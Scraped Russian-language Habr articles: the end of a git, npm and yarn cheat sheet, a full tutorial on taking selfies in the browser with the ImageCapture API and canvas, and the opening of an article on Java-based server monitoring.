rmrf = rm -r -f
###
s = status
sb = status -s -b
###
sa = stash apply
sc = stash clear
sd = stash drop
sl = stash list
sp = stash pop
ss = stash save
ssk = stash save -k
sw = stash show
st = !git stash list | wc -l 2>/dev/null | grep -oEi '[0-9][0-9]*'
###
t = tag
td = tag -d
###
w = show
wp = show -p
wr = show -p --no-color
###
svnr = svn rebase
svnd = svn dcommit
svnl = svn log --oneline --show-commit
###
subadd = !sh -c 'git submodule add git://github.com/$1 $2/$(basename $1)' -
subrm = !sh -c 'git submodule deinit -f -- $1 && rm -rf .git/modules/$1 && git rm -f $1' -
subup = submodule update --init --recursive
subpull = !git submodule foreach git pull --tags origin master
###
assume = update-index --assume-unchanged
unassume = update-index --no-assume-unchanged
assumed = !git ls -v | grep ^h | cut -c 3-
unassumeall = !git assumed | xargs git unassume
assumeall = !git status -s | awk {'print $2'} | xargs git assume
###
bump = !sh -c 'git commit -am \"Version bump v$1\" && git psuoc && git release $1' -
release = !sh -c 'git tag v$1 && git pst' -
unrelease = !sh -c 'git tag -d v$1 && git pso :v$1' -
merged = !sh -c 'git o master && git plom && git bd $1 && git rpo' -
aliases = !git config -l | grep alias | cut -c 7-
snap = !git stash save 'snapshot: $(date)' && git stash apply 'stash@{0}'
bare = !sh -c 'git symbolic-ref HEAD refs/heads/$1 && git rm --cached -r . && git clean -xfd' -
whois = !sh -c 'git log -i -1 --author=\"$1\" --pretty=\"format:%an <%ae>\"' -
serve = daemon --reuseaddr --verbose --base-path=. --export-all ./.git
###
behind = !git rev-list --left-only --count $(git bu)...HEAD
ahead = !git rev-list --right-only --count $(git bu)...HEAD
###
ours = "!f() { git checkout --ours $@ && git add $@; }; f"
theirs = "!f() { git checkout --theirs $@ && git add $@; }; f"
subrepo = !sh -c 'git filter-branch --prune-empty --subdirectory-filter $1 master' -
human = name-rev --name-only --refs=refs/heads/*
[filter "lfs"]
clean = git-lfs clean -- %f
smudge = git-lfs smudge -- %f
process = git-lfs filter-process
required = true
```
**Пример .gitignore:**
```
### Node ###
# Logs
logs
npm-debug.log*
yarn-debug.log*
yarn-error.log*
# Optional npm cache directory
.npm
# Dependency directories
/node_modules
/jspm_packages
/bower_components
# Yarn Integrity file
.yarn-integrity
# Optional eslint cache
.eslintcache
# dotenv environment variables file(s)
.env
.env.*
#Build generated
dist/
build/
# Serverless generated files
.serverless/
### SublimeText ###
# cache files for sublime text
*.tmlanguage.cache
*.tmPreferences.cache
*.stTheme.cache
# workspace files are user-specific
*.sublime-workspace
# project files should be checked into the repository, unless a significant
# proportion of contributors will probably not be using SublimeText
# *.sublime-project
### VisualStudioCode ###
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
### Vim ###
*.sw[a-p]
### WebStorm/IntelliJ ###
/.idea
modules.xml
*.ipr
*.iml
### System Files ###
*.DS_Store
# Windows thumbnail cache files
Thumbs.db
ehthumbs.db
ehthumbs_vista.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Thumbnails
._*
# Files that might appear in the root of a volume
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent
```
### npm
npm представляет собой пакетный менеджер, позволяющий устанавливать зависимости проекта.
Официальный сайт: [npmjs.com](https://www.npmjs.com/).
Установка.
npm устанавливается вместе с [Node.js](https://nodejs.org/en/download/).
Также вместе с Node.js устанавливается npx, позволяющий запускать исполняемые файлы без установки: npx create-react-app my-app.
Проверка установки:
```
node --version | -v
npm --version | -v
```
Обновление:
```
npm i -g npm@latest
```
Список доступных команд:
```
npm help
npm help [command-name]
```
Инициализация проекта:
```
npm init
// auto
npm init --yes | -y
```
Установка зависимостей
```
npm install | i
// проверка конкретной зависимости
npm explore [package-name]
// проверка всех зависимостей
npm doctor
// очистка
npm ci
```
Принудительная переустановка зависимостей:
```
npm i --force | -f
```
Установка только продакшн-пакетов:
```
npm i --only=production | --only=prod
```
Добавление зависимости:
```
npm i [package-name]
npm i [package-name@version]
// пример
npm i express
```
Добавление зависимости для разработки:
```
npm i --save-dev | -D [package-name]
// пример
npm i -D nodemon
```
Обновление зависимости:
```
npm update | up [package-name]
```
Удаление зависимости:
```
// dependency
npm remove | rm | r [package-name]
// devDependency
npm r -D [package-name]
```
Глобальная установка/обновление/удаление пакета:
```
npm i/up/r -g [package-name]
// пример
npm i -g create-react-app
// использование
create-react-app my-app
```
Определение устаревших пакетов:
```
npm outdated
npm outdated [package-name]
```
Список установленных зависимостей:
```
npm list | ls
// top level
npm ls --depth=0 | --depth 0
// global + top level
npm ls -g --depth 0
```
Информация о пакете:
```
npm view | v [package-name]
// пример
npm v react
npm v react.description
```
Запуск скрипта/выполнение команды:
```
npm run [script]
// пример
// package.json: "scripts": { "dev": "nodemon server.js" }
npm run dev
// script start или node server.js
npm start
npm stop
```
Удаление дублирующихся пакетов:
```
npm dedupe | ddp
```
Удаление посторонних пакетов:
```
npm prune
```
Обнаружение уязвимостей (угроз безопасности):
```
npm audit
// json
npm audit --json
// plain text
npm audit --parseable
```
Автоматическое исправление уязвимостей:
```
npm audit fix
```
### yarn
yarn, как и npm, представляет собой пакетный менеджер, позволяющий устанавливать зависимости проекта.
Официальный сайт: [yarnpkg.com](https://yarnpkg.com/).
Установка:
```
npm i -g yarn
```
Команда «yarn dlx» позволяет запускать исполняемые файлы без установки: yarn dlx create-react-app my-app. Для этого yarn необходимо обновить до второй версии: yarn set version berry.
Проверка установки:
```
yarn --version | -v
```
Обновление:
```
yarn set version latest
```
Список доступных команд:
```
yarn help
yarn help [command-name]
```
Инициализация проекта:
```
yarn init
// auto
yarn init --yes | -y
// "private": true в package.json
yarn init --private | -p
// auto + private
yarn init -yp
```
Установка зависимостей:
```
yarn
// или
yarn install
// тихая установка
yarn install --silent | -s
// проверка
yarn --check-files
```
Принудительная переустановка зависимостей:
```
yarn install --force
```
Установка только продакшн-пакетов:
```
yarn install --production | --prod
```
Добавление зависимости:
```
yarn add [package-name]
yarn add [package-name@version]
// пример
yarn add express
// тихая установка
yarn add --silent
// или
yarn add -s
```
Добавление зависимости для разработки:
```
yarn add --dev | -D [package-name]
// пример
yarn add -D nodemon
```
Обновление зависимости:
```
yarn upgrade [package-name]
```
Удаление зависимости:
```
yarn remove [package-name]
```
Глобальная установка/обновление/удаление пакета:
```
yarn global add/upgrade/remove [package-name]
// пример
yarn global add create-react-app
// использование
create-react-app my-app
```
Список установленных зависимостей:
```
yarn list
// top level
yarn list --depth=0 | --depth 0
```
Информация о пакете:
```
yarn info [package-name]
// или
yarn why [package-name]
// пример
yarn info react
yarn info react description
yarn why webpack
```
Запуск скрипта/выполнение команды:
```
yarn [script]
// или
yarn run [script]
// пример
// package.json: "scripts": { "dev": "nodemon server.js" }
yarn dev
```
### package.json
```
{
"name": "my-app",
"version": "1.0.0",
"description": "my awesome app",
"keywords": [
"amazing",
"awesome",
"best"
],
"private": true,
"main": "server.js",
"license": "MIT",
"homepage": "https://my-website.com",
"repository": {
"type": "git",
"url": "https://github.com/user/repo.git"
},
"repository": "github:user/repo",
"author": {
"name": "My Name",
"email": "[email protected]",
"url": "https://my-website.com"
},
"author": "My Name (https://my-website.com)",
"contributers": [
{
"name": "Friend Name",
"email": "[email protected]",
"url": "https://friend-website.com"
}
],
"contributors": "Friend Name (https://friend-website.com)",
"dependencies": {
"express": "^4.17.1"
},
"devDependencies": {
"nodemon": "^2.0.4"
},
"scripts": {
"start": "react-scripts start",
"dev": "nodemon server.js"
}
}
```
* name — название проекта
* version — версия проекта (см. версионирование)
* description — описание проекта (зачем нужен пакет?)
* keywords — ключевые слова (облегчает поиск в реестре npm)
* private — установка значения в true предотвращает случайную публикацию пакета в реестре npm
* main — основная точка входа для функционирования проекта
* repository — ссылка на репозиторий (один из вариантов)
* author — автор проекта (один из вариантов)
* contributors — участники проекта (люди, внесшие вклад в проект)
* dependencies — зависимости проекта (пакеты, без которых приложение не будет работать)
* devDependencies — зависимости для разработки (пакеты, без которых приложение будет работать)
* scripts — команды (выполняемые сценарии, задачи), предназначенные для автоматизации, например, команда «yarn dev» запустит скрипт «nodemon server.js»
Полный список доступных полей файла «package.json»: [npm-package.json](https://docs.npmjs.com/files/package.json)
Файлы «package-lock.json» и «yarn.lock» содержат более полную информацию об установленных пакетах, чем package.json, например, конкретные версии пакетов вместо диапазона допустимых версий.
### Версионирование
Каждый пакет имеет версию, состоящую из трех цифр (например, 1.0.0), где первая цифра — мажорная версия (major), вторая — минорная версия (minor), третья — патчевая версия (патч, patch). Выпуск новой версии называется релизом.
Увеличение каждой из этих цифр согласно правилам семантического версионирования (semver) означает следующее:
* major — внесение несовместимых с предыдущей версией изменений
* minor — новая функциональность, совместимая с предыдущей версией
* patch — исправление ошибок, незначительные улучшения
Диапазоны версий или допустимые релизы определяются с помощью следующих операторов (компараторов):
* \* — любая версия (аналогично пустой строке)
* <1.0.0 — любая версия, которая меньше 1.0.0
* <=1.0.0 — любая версия, которая меньше или равна 1.0.0
* >1.0.0 — любая версия, которая больше 1.0.0
* >=1.0.0 — любая версия, которая больше или равна 1.0.0
* =1.0.0 — только версия 1.0.0 (оператор "=" можно опустить)
* >=1.0.0 <2.0.0 — больше или равно 1.0.0 и меньше 2.0.0
* 1.0.0-2.0.0 — набор версий включительно
* ^1.0.0 — минорные и патчевые релизы (>=1.0.0 <2.0.0)
* ~.1.0.0 — только патчевые релизы (>=1.0.0 <1.1.0)
Подробные сведения о semver: [node-semver](https://github.com/npm/node-semver).
Благодарю за внимание.
|
https://habr.com/ru/post/522078/
| null |
ru
| null |
# JavaScript: делаем селфи с помощью браузера
Привет, друзья!
В этой статье я покажу вам, как делать [селфи](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D0%BB%D1%84%D0%B8) в браузере.
Мы разработаем простое приложение со следующим функционалом:
* при инициализации приложение запрашивает у пользователя разрешение на захват медиапотока (далее также — поток) из видеокамеры его устройства;
* захваченный поток передается в элемент `video`;
* из потока извлекается видеотрек (далее также — трек), который передается в интерфейс для захвата изображений;
* из экземпляра интерфейса извлекается список поддерживаемых возможностей (capabilities) и настроек (settings) для фото;
* из трека также извлекается список поддерживаемых возможностей и настроек;
* формируется список диапазонных полей () для установки настроек для фото;
* пользователь имеет возможность снимать фото (take photos) и захватывать фреймы (grab frames);
* фото выводится в элемент `img`, генерируется ссылка для его скачивания;
* фрейм инвертируется и отрисовывается на холсте (`canvas`), генерируется ссылка для его скачивания.
[Репозиторий](https://github.com/harryheman/Blog-Posts/tree/master/image-capture).
Приложение будет разработано на чистом `JavaScript`.
Для создания шаблона приложения будет использован [`Vite`](https://vitejs.dev/).
Если вам это интересно, прошу под кат.
Данная статья является четвертой в серии статей, посвященных работе с медиа в браузере:
* [статья о создании аудиозаметок](https://habr.com/ru/company/timeweb/blog/581086/);
* [статья о записи экрана](https://habr.com/ru/company/timeweb/blog/591417/);
* [статья о сведении аудио и видеотреков](https://habr.com/ru/company/timeweb/blog/646831/).
При разработке приложения мы будем опираться на следующие спецификации:
* [MediaStream Image Capture](https://www.w3.org/TR/image-capture) — захват изображения;
* [Media Capture and Streams](https://w3c.github.io/mediacapture-main) — захват потока;
* [File API](https://w3c.github.io/FileAPI) — работа с файлами.
Ссылки на соответствующие разделы [MDN](https://developer.mozilla.org) будут приводиться по мере необходимости.
*Обратите внимание*: основная технология, которую мы будем рассматривать, является экспериментальной. На сегодняшний день она поддерживается только [71%](https://caniuse.com/?search=imagecapture) браузеров. Поэтому говорить о возможности ее использования в продакшне рано. Можно сказать, что эта технология относится к категории "Веб завтрашнего дня".
---
Создаем шаблон приложения:
```
# image-capture - название проекта
# --template vanilla - используемый шаблон
yarn create vite image-capture --template vanilla
# или
npm init vite ...
```
Пока создается шаблон, поговорим об интерфейсах и методах, которые мы будем использовать.
Для захвата потока из устройств пользователя используется метод [`getUserMedia`](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia) расширения [`MediaDevices`](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices) интерфейса [`Navigator`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator):
```
// ограничения или требования к потоку
// https://w3c.github.io/mediacapture-main/#constrainable-interface
// https://developer.mozilla.org/en-US/docs/Web/API/MediaTrackConstraints
const constraints = { video: true }
// поток
// https://w3c.github.io/mediacapture-main/#mediastream
// https://developer.mozilla.org/en-US/docs/Web/API/MediaStream
const stream = await navigator.mediaDevices.getUserMedia(constraints)
```
Поток состоит из треков (одного и более). Для получения треков используются методы [`getTrackById`](https://developer.mozilla.org/en-US/docs/Web/API/MediaStream/getTrackById), [`getTracks`](https://developer.mozilla.org/en-US/docs/Web/API/MediaStream/getTracks), [`getAudioTracks`](https://developer.mozilla.org/en-US/docs/Web/API/MediaStream/getAudioTracks) и [`getVideoTracks`](https://developer.mozilla.org/en-US/docs/Web/API/MediaStream/getVideoTracks). Мы будем использовать только последний:
```
// треки
// https://w3c.github.io/mediacapture-main/#mediastreamtrack
// https://developer.mozilla.org/en-US/docs/Web/API/MediaStreamTrack
const videoTracks = stream.getVideoTracks()
// мы будем извлекать первый (наиболее подходящий с точки зрения соответствия ограничениям) трек
const videoTrack = stream.getVideoTracks()[0]
```
Для получения списка возможностей и настроек трека используются методы [`getCapabilities`](https://developer.mozilla.org/en-US/docs/Web/API/MediaStreamTrack/getCapabilities) и [`getSettings`](https://developer.mozilla.org/en-US/docs/Web/API/MediaStreamTrack/getSettings), соответственно:
```
// https://w3c.github.io/mediacapture-main/#dom-mediastreamtrack-getcapabilities
const trackCapabilities = videoTrack.getCapabilities()
// https://w3c.github.io/mediacapture-main/#dom-mediastreamtrack-getsettings
const trackSettings = videoTrack.getSettings()
```
Для применения к треку (дополнительных или продвинутых) ограничений используется метод [`applyConstraints`](https://developer.mozilla.org/en-US/docs/Web/API/MediaStreamTrack/applyConstraints):
```
// https://w3c.github.io/mediacapture-main/#dictionary-mediatrackconstraints-members
const advancedConstraints = {
contrast: 75,
sharpness: 75
}
// https://w3c.github.io/mediacapture-main/#dom-mediastreamtrack-applyconstraints
await applyConstraints({ advanced: [advancedConstraints] })
```
Для захвата изображений и фреймов из видеотрека используется интерфейс [`ImageCapture`](https://developer.mozilla.org/en-US/docs/Web/API/ImageCapture):
```
// https://www.w3.org/TR/image-capture/#imagecaptureapi
const imageCapture = new ImageCapture(videoTrack)
```
Для получения списка возможностей и настроек для фото используются методы [`getPhotoCapabilities`](https://developer.mozilla.org/en-US/docs/Web/API/ImageCapture/getPhotoCapabilities) и [`getPhotoSettings`](https://developer.mozilla.org/en-US/docs/Web/API/ImageCapture/getPhotoSettings), соответственно:
```
// https://www.w3.org/TR/image-capture/#dom-imagecapture-getphotocapabilities
const photoCapabilities = await imageCapture.getPhotoCapabilities()
// https://www.w3.org/TR/image-capture/#dom-imagecapture-getphotosettings
const photoSettings = await imageCapture.getPhotoSettings()
```
Для получения снимка используется метод [`takePhoto`](https://developer.mozilla.org/en-US/docs/Web/API/ImageCapture/takePhoto). Данный метод возвращает [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob):
```
// https://www.w3.org/TR/image-capture/#dom-imagecapture-takephoto
// метод принимает опциональный параметр - настройки для фото
// https://www.w3.org/TR/image-capture/#photosettings-section
// https://developer.mozilla.org/en-US/docs/Web/API/ImageCapture/takePhoto#parameters
const blob = await imageCapture.takePhoto(photoSettings)
```
Для создания ссылки на `blob` используется метод [`createObjectUrl`](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL) интерфейса [`URL`](https://developer.mozilla.org/en-US/docs/Web/API/URL):
```
// https://w3c.github.io/FileAPI/#dfn-createObjectURL
const src = URL.createObjectUrl(blob)
```
Для освобождения (release) ссылки на `blob` используется метод [`revokeObjectUrl`](https://developer.mozilla.org/en-US/docs/Web/API/URL/revokeObjectURL):
```
// https://w3c.github.io/FileAPI/#dfn-revokeObjectURL
URL.revokeObjectUrl(src)
```
Для захвата фрейма используется метод [`grabFrame`](https://developer.mozilla.org/en-US/docs/Web/API/ImageCapture/grabFrame). Данный метод возвращает [`ImageBitmap`](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap):
```
// https://www.w3.org/TR/image-capture/#dom-imagecapture-grabframe
const imageBitmap = await imageCapture.grabFrame()
```
Для рендеринга `imageBitmap` на холсте используется метод [`drawImage`](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage):
```
const canvas$ = document.querySelector('canvas')
const ctx = canvas$.getContext('2d')
ctx.drawImage(imageBitmap, 0, 0)
```
Для извлечения пиксельных данных (pixel data) из холста используется метод [`getImageData`](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData). Данный метод возвращает [`ImageData`](https://developer.mozilla.org/en-US/docs/Web/API/ImageData):
```
// пиксели, которые мы будем инвертировать, содержатся в свойстве `imageData.data`
const imageData = ctx.getImageData(0, 0, canvas$.width, canvas$.height)
```
Наконец, для рендеринга `ImageData` на холсте используется метод [`putImageData`](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData):
```
ctx.putImageData(imageData, 0, 0)
```
Шаблон давно готов и с нетерпением ждет, когда мы приступим к разработке приложения.
---
Структура приложения будет следующей:
```
- index.html
- styles
- loader.css
- main.css
- scripts
- utils
- getMedia.js
- takePhoto.js
- grabFrame.js
- globals.js
- main.js
- ...
```
Начнем с разметки (`index.html`):
```
![]()
Download
Download
Take photo
Remove photo
Grab frame
Clear canvas
```
Индикатор загрузки вместе со стилями (`styles/loader.css`) я взял [отсюда](https://loading.io/css/).
Добавим немного красоты (`styles/main.css`):
```
@import url('https://fonts.googleapis.com/css2?family=Montserrat:wght@200;400;600&display=swap');
@import './loader.css';
*,
*::before,
*::after {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Monserrat', sans-serif;
font-size: 1rem;
color: #292b2c;
}
:root {
--primary: #0275d8;
}
body {
display: flex;
justify-content: center;
}
#app {
padding: 1rem;
display: none;
}
video,
img,
canvas {
max-width: 320px;
border-radius: 4px;
}
.settings {
padding: 0 1rem;
}
.field {
margin-bottom: 0.75rem;
flex-grow: 1;
display: grid;
align-items: center;
grid-template-columns: repeat(3, 1fr);
grid-gap: 1rem;
}
.controls {
margin-bottom: 1rem;
display: flex;
}
button {
padding: 0.3rem 0.5rem;
background: var(--primary);
border: none;
border-radius: 4px;
outline: none;
color: #f7f7f7;
font-size: 0.88rem;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.4);
transition: 0.3s;
cursor: pointer;
user-select: none;
}
button:active {
box-shadow: none;
}
button[disabled] {
filter: grayscale(50);
opacity: 0.8;
cursor: not-allowed;
}
.result {
display: flex;
flex-direction: column;
align-items: center;
}
a {
margin: 0.5rem 0;
text-decoration: none;
font-size: 0.8rem;
display: none;
}
a[href] {
color: var(--primary);
border-bottom: 1px dashed var(--primary);
}
```
Переходим к скриптам.
---
Начнем с определения глобальных утилит и переменных (`scripts/globals.js`).
Определяем утилиту для получения ссылок на элементы:
```
// привет, jQuery
const $ = (selector, parent = document) => parent.querySelector(selector)
```
Определяем утилиту для создания элементов. Мы могли бы сделать это так:
```
// привет, React
const create$ = (tag, attrs, children) => {
if (typeof tag !== 'string') return
const $ = document.createElement(tag)
if (attrs) {
if (typeof attrs !== 'object') return
for (const k in attrs) {
const v = attrs[k]
if (k === 'class') {
$.className = v
continue
}
if (k === 'style' && typeof v === 'object') {
Object.assign($.style, v)
continue
}
if (k === 'text') {
$.textContent = v
continue
}
$[k] = v
}
}
if (Array.isArray(children) && children.length > 0) {
children.forEach(([tag, attrs, children]) => {
$.append(create$(tag, attrs, children))
})
}
return $
}
```
Но лучше сделаем так:
```
const create$ = (template) => {
if (typeof template !== 'string') return
return new Range().createContextualFragment(template).children[0]
}
```
Определяем функцию для рендеринга элементов:
```
const render$ = (parent, child, place = 'beforeend') => {
parent.insertAdjacentElement(place, child)
}
```
Мы будем довольно много манипулировать атрибутами элементов, поэтому имеет смысл определить для этого соответствующие утилиты:
```
// добавляем атрибуты
// `attrs` - объект
// ключи объекта - названия атрибутов
// значения ключей - значения атрибутов
const setAttrs = ($, attrs) => {
if (attrs && (typeof attrs !== 'object' || Array.isArray(attrs))) return
Object.keys(attrs).forEach((key) => {
$.setAttribute(key, attrs[key])
})
}
// удаляем атрибуты
// `attrs` - массив
// элементы массива - названия атрибутов
const removeAttrs = ($, attrs) => {
if (!Array.isArray(attrs)) return
attrs.forEach((name) => {
$.removeAttribute(name)
})
}
```
Получаем ссылки на DOM-элементы:
```
const loader$ = $('.lds-roller')
const app$ = $('#app')
const video$ = $('video')
const image$ = $('.result img')
const photoLink$ = $('.photo-link')
const canvas$ = $('.result canvas')
const canvasLink$ = $('.canvas-link')
const controls$ = $('.controls')
const grabFrame$ = $('.grab-frame')
const removePhoto$ = $('.remove-photo')
const clearCanvas$ = $('.clear-canvas')
const settings$ = $('.settings')
```
Создаем еще несколько глобальных переменных:
```
// хранилище для инпутов
const inputs$ = []
// контекст рисования
const ctx = canvas$.getContext('2d')
// видеотрек, экземпляр `ImageCapture` и источник фото
let videoTrack
let imageCapture
let photoSrc
```
И определяем (продвинутые) настройки для трека:
```
const settingDictionary = {
brightness: 'Яркость',
colorTemperature: 'Цветовая температура',
contrast: 'Контрастность',
saturation: 'Насыщенность',
sharpness: 'Резкость',
pan: 'Панорамирование',
tilt: 'Наклон',
zoom: 'Масштаб'
}
```
Мы берем настройки, которые можно использовать в диапазонных полях. С полным списком настроек для трека можно ознакомиться [здесь](https://www.w3.org/TR/image-capture/#constrainable-properties).
---
Рассмотрим утилиту для захвата видеопотока и подготовки инпутов (`scripts/utils/getMedia.js`).
Определяем дефолтные ограничения потока:
```
const defaultConstraints = {
// эти ограничения должны быть определены явно
video: {
pan: true,
tilt: true,
zoom: true
}
}
async function getMedia(
constraints = defaultConstraints
) {
try {
// TODO
} catch (e) {
console.error(e)
}
}
export default getMedia
```
Захватываем видеопоток, передаем его в элемент `video` с помощью [`srcObject`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement/srcObject), извлекаем видеотрек и создаем экземпляр `ImageCapture`:
```
const stream = await navigator.mediaDevices.getUserMedia(constraints)
video$.srcObject = stream
// глобальные переменные
videoTrack = stream.getVideoTracks()[0]
imageCapture = new ImageCapture(videoTrack)
```
Получаем списки возможностей и настроек фото и трека:
```
const photoCapabilities = await imageCapture.getPhotoCapabilities()
console.log('*** Photo capabilities', photoCapabilities)
const photoSettings = await imageCapture.getPhotoSettings()
console.log('*** Photo settings', photoSettings)
const trackCapabilities = videoTrack.getCapabilities()
console.log('*** Track capabilities', trackCapabilities)
const trackSettings = videoTrack.getSettings()
console.log('*** Track settings', trackSettings)
```
Перебираем ключи "словаря" с настройками:
```
Object.keys(settingDictionary).forEach((key) => {
// TODO
})
```
Если трек поддерживает настройку:
```
if (key in trackSettings) {
// TODO
}
```
Далее мы делаем следующее:
* формируем шаблон поля для установки конкретной настройки с помощью возможностей и настроек трека — fieldTemplate;
* создаем элемент поля — field$;
* извлекаем из него инпут и контейнер для вывода текущего значения инпута — input$ и info$, соответственно;
* регистрируем обработчик изменения значения инпута — oninput;
* помещаем инпут в глобальный массив инпутов — inputs$;
* рендерим элемент поля.
```
const fieldTemplate = `
${settingDictionary[key]}
${trackSettings[key]}
`
const field$ = create$(fieldTemplate)
// первый элемент - это `label`, который нас не интересует
const [_, input$, info$] = field$.children
input$.oninput = ({ target: { value } }) => {
info$.textContent = value
}
inputs$.push(input$)
render$(settings$, field$)
```
Наконец, скрываем индикатор загрузки и отображаем приложение:
```
loader$.style.display = 'none'
app$.style.display = 'flex'
```
**Полный код этой утилиты:**
```
const defaultConstraints = {
video: {
pan: true,
tilt: true,
zoom: true
}
}
async function getMedia(constraints = defaultConstraints) {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints)
video$.srcObject = stream
videoTrack = stream.getVideoTracks()[0]
imageCapture = new ImageCapture(videoTrack)
const photoCapabilities = await imageCapture.getPhotoCapabilities()
console.log('*** Photo capabilities', photoCapabilities)
const photoSettings = await imageCapture.getPhotoSettings()
console.log('*** Photo settings', photoSettings)
const trackCapabilities = videoTrack.getCapabilities()
console.log('*** Track capabilities', trackCapabilities)
const trackSettings = videoTrack.getSettings()
console.log('*** Track settings', trackSettings)
Object.keys(settingDictionary).forEach((key) => {
if (key in trackSettings) {
const fieldTemplate = `
${settingDictionary[key]}
${trackSettings[key]}
`
const field$ = create$(fieldTemplate)
const [_, input$, info$] = field$.children
input$.oninput = ({ target: { value } }) => {
info$.textContent = value
}
inputs$.push(input$)
render$(settings$, field$)
}
})
loader$.style.display = 'none'
app$.style.display = 'flex'
} catch (e) {
console.error(e)
}
}
export default getMedia
```
---
Рассмотрим утилиту для получения снимка (`scripts/utils/takePhoto.js`).
Определяем дефолтные настройки для фото:
```
const defaultSettings = {
imageHeight: 480,
imageWidth: 640
}
async function takePhoto(settings = defaultSettings) {
// TODO
}
```
Применяем настройки, установленные пользователем:
```
const advancedConstraints = {}
for (const { name, value } of inputs$) {
advancedConstraints[name] = value
}
try {
await videoTrack.applyConstraints({
advanced: [advancedConstraints]
})
} catch (e) {
console.error(e)
}
```
Получаем `blob` с помощью метода `takePhoto`, формируем на него ссылку и передаем ее в элементы `img` и `a`:
```
try {
const blob = await imageCapture.takePhoto(settings)
// глобальная переменная
photoSrc = URL.createObjectURL(blob)
image$.src = photoSrc
setAttrs(photoLink$, {
href: photoSrc,
download: `my-photo-${Date.now()}.png`,
style: 'display: block;'
})
} catch (e) {
console.error(e)
}
```
---
Рассмотрим утилиту для захвата фрейма (`scripts/utils/grabFrame.js`):
```
async function grabFrame() {
try {
// TODO
} catch(e) {
console.error(e)
}
}
```
Получаем `ImageBitmap` с помощью метода `grabPhoto`, определяем ширину и высоту холста и рендерим фрейм:
```
const imageBitmap = await imageCapture.grabFrame()
canvas$.width = imageBitmap.width
canvas$.height = imageBitmap.height
// рендерим фрейм
ctx.drawImage(imageBitmap, 0, 0)
```
Читаем пиксели и инвертируем цвета:
```
const imageData = ctx.getImageData(0, 0, canvas$.width, canvas$.height)
const { data } = imageData
for (let i = 0; i < data.length; i += 4) {
data[i] ^= 255 // красный
data[i + 1] ^= 255 // зеленый
data[i + 2] ^= 255 // синий
}
```
Перерисовываем изображение и генерируем ссылку для скачивания фрейма:
```
ctx.putImageData(imageData, 0, 0)
setAttrs(canvasLink$, {
href: canvas$.toDataURL(),
download: `my-frame-${Date.now()}.png`,
style: 'display: block;'
})
```
Для формирования ссылки на фрейм мы используем метод [`toDataURL`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/toDataURL), возвращающий [`URL` с префиксом `data:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs), который позволяет встраивать небольшие файлы прямо в документ, например, изображение, преобразованное в строку [`base64`](https://developer.mozilla.org/en-US/docs/Glossary/Base64).
---
Осталось разобраться с основным модулем приложения (`scripts/main.js`).
Импортируем утилиты и запускаем захват медиа:
```
import getMedia from './utils/getMedia'
import takePhoto from './utils/takePhoto'
import grabFrame from './utils/grabFrame'
getMedia()
```
Регистрируем обработчик отправки формы — применения пользовательских настроек и получение снимка:
```
settings$.onsubmit = (e) => {
e.preventDefault()
// получаем снимок
takePhoto()
// снимаем блокировку с соответствующей кнопки
removePhoto$.disabled = false
}
```
Регистрируем обработчик нажатия кнопок:
```
controls$.onclick = ({ target }) => {
// нас интересует только клик по кнопке
if (target.localName !== 'button') return
// выполняемая операция зависит от цели клика
switch (target) {
// цель клика - кнопка для удаления фото
case removePhoto$:
// освобождаем ссылку на `blob`
URL.revokeObjectURL(photoSrc)
// удаляем источник фото
image$.removeAttribute('src')
// удаляем ссылку на фото
removeAttrs(photoLink$, ['href', 'download', 'style'])
// блокируем соответствующую кнопку
removePhoto$.disabled = true
break
// цель клика - кнопка для захвата фрейма
case grabFrame$:
// захватываем фрейм
grabFrame()
// снимаем блокировку с соответствующей кнопки
clearCanvas$.disabled = false
break
// цель клика - кнопка для очистки холста
case clearCanvas$:
// очищаем холст
ctx.clearRect(0, 0, canvas$.width, canvas$.height)
// сжимаем холст
setAttrs(canvas$, { width: 0, height: 0 })
// удаляем ссылку на фрейм
removeAttrs(canvasLink$, ['href', 'download', 'style'])
// блокируем соответствующую кнопку
clearCanvas$.disabled = true
break
default:
return
}
}
```
---
Протестируем работоспособность нашего приложения.
Запускаем сервер для разработки с помощью команды `yarn dev` или `npm run dev` и открываем вкладку браузера по адресу `http://localhost:3000`:
Нажимаем на кнопку `Take photo`:
Получаем селфи и ссылку для его скачивания.
Удаляем фото, нажав на кнопку `Remove photo`.
Меняем настройки и снова нажимаем `Take photo`:
*Обратите внимание*: применение к треку продвинутых настроек повлияло также на видео, поскольку речь идет об одном и том же треке.
Удаляем фото, возвращаем настройки в исходное состояние и нажимаем на кнопку `Grab frame`:
Получаем инвертированное изображение и ссылку для его скачивания.
Очищаем холст, нажав на кнопку `Clear canvas`.
Отлично! Наше приложение работает, как ожидается.
Пожалуй, это все, чем я хотел поделиться с вами в данной статье.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/?utm_source=habr&utm_medium=banner&utm_campaign=cloud&utm_content=direct&utm_term=low)
|
https://habr.com/ru/post/650233/
| null |
ru
| null |
# Мониторинг серверов через очередь заданий на JAVA
Недавно был озадачен проблемой мониторинга нескольких десятков серверов (ну наверно редко кто не сталкивался с такой задачей). Проблему можно описать несколькими правилами:
1. Нужно периодически пинговать сервер
2. Иногда выполнять какое-либо действие с сервером (например, исполнение команды через ssh), которое засабмитил пользователь
